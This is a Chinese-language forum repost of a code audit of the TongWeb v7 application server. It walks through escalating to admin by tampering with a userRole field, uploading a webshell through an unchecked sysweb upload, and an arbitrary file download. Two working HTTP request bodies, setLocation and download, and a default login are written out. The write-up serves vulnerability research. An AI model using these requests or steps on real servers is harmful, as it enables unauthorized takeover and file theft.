找回密码
 立即注册
首页 业界区 科技 TongWeb闭源中间件代码审计

TongWeb闭源中间件代码审计

哎禹供 2025-6-23 12:46:16
应用服务器 TongWeb v7 全面支持 JavaEE7 及 JavaEE8规范,作为基础架构软件,位于操作系统与应用之间,帮助企业将业务应用集成在一个基础平台上,为应用高效、稳定、安全运行提供关键支撑,包括便捷的开发、随需应变的灵活部署、丰富的运行时监视、高效的管理等。
本文对该中间件部分公开在互联网,但未分析细节的漏洞,进行复现分析:
sysweb后台上传getshell:
在互联网搜索发现该版本存在sysweb后台文件下载,可惜却没有复现细节,且访问显示如下:
[img=720,289.92857142857144]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/36d25a30-e51c-40dc-b9d3-1712cf935eb1.png[/img]

发现通过默认口令thanos/thanos123.com无法登录,且未发现任何相关的默认口令:
[img=720,299.57142857142856]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/70de2cf2-6985-4dd2-ba7c-bdfa56a0dd1d.png[/img]

于是自己找到配置文件查看权限校验情况:
\sysweb\WEB-INF\web.xml:
[img=720,399.85714285714283]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/f6e4c3e6-6aef-4608-a0d9-e35690d64f1d.png[/img]

发现配置情况如上,一切/*请求均需要admin权限才行,但目前互联网暂未发现任何其他相关权限账号,自己尝试admin相关弱口令也均为成功,于是继续寻找用户相关功能点:
点击安全服务--安全域管理:
[img=720,151.71428571428572]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e7b5cfec-10cf-4ac6-b0bf-34587fdec1bd.png[/img]

点击该安全域:找到默认账户的thanos用户:
[img=720,935.0769230769231]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e6cfd34c-97a3-4cea-8a3a-bb6816b2a10c.png[/img]

点击保存,查看数据包:
[img=720,183.16373728029603]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/8dfcb7f8-55a8-46a9-a24e-6b7bc8c8fc3c.png[/img]

发现该账户的userRole为tongweb与sysweb要求的admin并不匹配,于是点击创建用户:
[img=720,582.3529411764706]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/d64d435a-dda9-4b5e-ad2f-26b687e9201e.png[/img]

但并未发现可以随意设置用户的useRole,于是点击保存,并拦截数据包:
[img=720,233.35714285714286]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/6693743a-ef76-4612-890f-703f1a6b1512.png[/img]

将空白的userRole设置为admin,并放包:
[img=720,284.7857142857143]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/0c2d464b-fe0d-405e-a25e-abbd1b966af8.png[/img]

发现创建成功。于是尝试sysweb登录:
[img=720,188.35714285714286]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/360f5245-acf5-4218-836f-2131afbc3e19.png[/img]

发现仅仅是如上页面,但是至少权限问题解决了。
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
接着返回sysweb的配置文件:
[img=720,388.2857142857143]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/a23fb8d6-9a17-4baa-a632-b443331b486c.png[/img]

跟进分析:
[img=720,615.1319648093842]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/64ec1340-0667-47ef-a727-d4a1e449356e.png[/img]

发现未进行任何校验过滤,直接通过parseFileName()方法解析header获取文件名赋值给fileName。
构造如下文件上传数据包:
[img=720,468.64285714285717]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/879764c7-002e-4898-bb1f-e7e5118f3242.png[/img]

上传成功,shell加一:
[img=720,169.07142857142858]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b40167c2-df00-472c-83d3-fa042d1dcbbd.png[/img]

任意文件下载漏洞:
默认账号密码:thanos/thanos123.com登录后台,在快照管理处存在下载功能点:
[img=720,77.78571428571429]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/4fe08ac8-d42a-43ad-9aaa-578372d708d8.png[/img]

点击下载抓包查看:
[img=720,322.07142857142856]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/84144642-a18b-40a9-a9aa-f6f13ab0807f.png[/img]

下载文件打包成压缩包下载:
[img=720,138.3862194016319]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/2cfdcb84-c9fc-47db-8ef5-aa3b5dfee054.png[/img]

如上,疑似存在下载漏洞,跟进路由:
[img=720,285.06938020351527]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/bac00398-2abb-4b43-b2c9-916151c6d545.png[/img]

如上,先找到类级别的路径位置,注解表示由/rest/monitor/snapshots根路径发起的请求均会被该类处理。
[img=720,311.7857142857143]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/93a564bd-91a0-4fca-9d3b-1d5ac2124e66.png[/img]

随后再找到方法级别的路由位置,download的post请求均会被该方法处理:
可见该方法接收了前面数据包传输的参数filename,并赋值给snapshotname参数。
分析如上代码存在以下路径:
Path:根路径,由system.getProperty/temp/download组成
snapshotRootPath:由path/snapshotname组成。
[img=720,421.7142857142857]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/595529f7-bedb-49dc-860e-0f28b6de9394.png[/img]

随后进入AgentUtil.receiveFileOrDir()进行目标文件压缩,下载,且此处未进行任何校验:
[img=720,320.14285714285717]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/2b7c87ea-9702-41b4-8362-c4cc1196b570.png[/img]

但如果直接修改数据包filename进行任意文件下载依然会失败,因为紧接着代码进行了如下校验:
[img=720,309.85714285714283]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e6fbefc2-007f-4bf3-b04e-a36aa33557d4.png[/img]

判断下载路径snapshotRootPath的父路径是否是path,也就是对snapshotname与path拼接后的路径进行校验,如果snapshotname值为../../或者为/a/b这种格式则无法通过校验,也就是限制了跨目录操作。
但回过头来查看具体下载操作:
[img=720,140.14285714285714]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/6a22097c-dd14-4783-8731-fc1611d18028.png[/img]

是通过fileOrDir路径与snapshotRootPath进行文件下载的,查找location的值:
[img=720,88.07142857142857]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/bed33cf7-b339-4afa-a807-586b40a5f7fd.png[/img]

且发现location参数值可控:
[img=720,140.78571428571428]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/5a489544-e54d-43c7-a2d5-8c85c0f4d003.png[/img]

于是先通过如下数据包修改location的值(修改为想任意下载的目录):
  1. POST /console/rest/monitor/snapshots/setLocation HTTP/1.1
  2. Host: 192.168.73.130:9060
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
  4. Gecko/20100101 Firefox/138.0
  5. Accept: application/json, text/javascript, \*/\*; q=0.01
  6. Accept-Language:
  7. zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  8. Accept-Encoding: gzip, deflate, br
  9. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  10. X-Requested-With: XMLHttpRequest
  11. Content-Length: 36
  12. Origin: http://192.168.73.130:9060
  13. Connection: keep-alive
  14. Referer: http://192.168.73.130:9060/console/rest
  15. Cookie: console-c-4aff-9=EABC776A7845EFBDA555BAA1D078F628;
  16. DWRSESSIONID=858h23g\$aEjH1iqRz1jnGBLe3rp
  17. snapshot_location=D%3A%5CTongWeb7.42
复制代码
随后再进行下载:
  1. POST /console/rest/monitor/snapshots/download HTTP/1.1
  2. Host: 192.168.73.130:9060
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)
  4. Gecko/20100101 Firefox/139.0
  5. Accept:
  6. text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
  7. Accept-Language:
  8. zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  9. Accept-Encoding: gzip, deflate, br
  10. Content-Type: application/x-www-form-urlencoded
  11. Content-Length: 39
  12. Origin: http://192.168.73.130:9060
  13. Connection: keep-alive
  14. Referer: http://192.168.73.130:9060/console/pages/monitor/snapshot.jsp
  15. Cookie: console-c-4aff-9=429BD65834FAD60D489BC2F36DAF93C5;
  16. DWRSESSIONID=jvSHNTT66zO2\$Hjyb4sFS7vYdrp
  17. Upgrade-Insecure-Requests: 1
  18. Priority: u=4
  19. filename=conf
复制代码
如下,下载成功:
[img=720,142.92134831460675]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e0d9b479-dc1b-4456-a829-57d65c82fb25.png[/img]

更多网安技能的在线实操练习,请点击这里>>
  

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册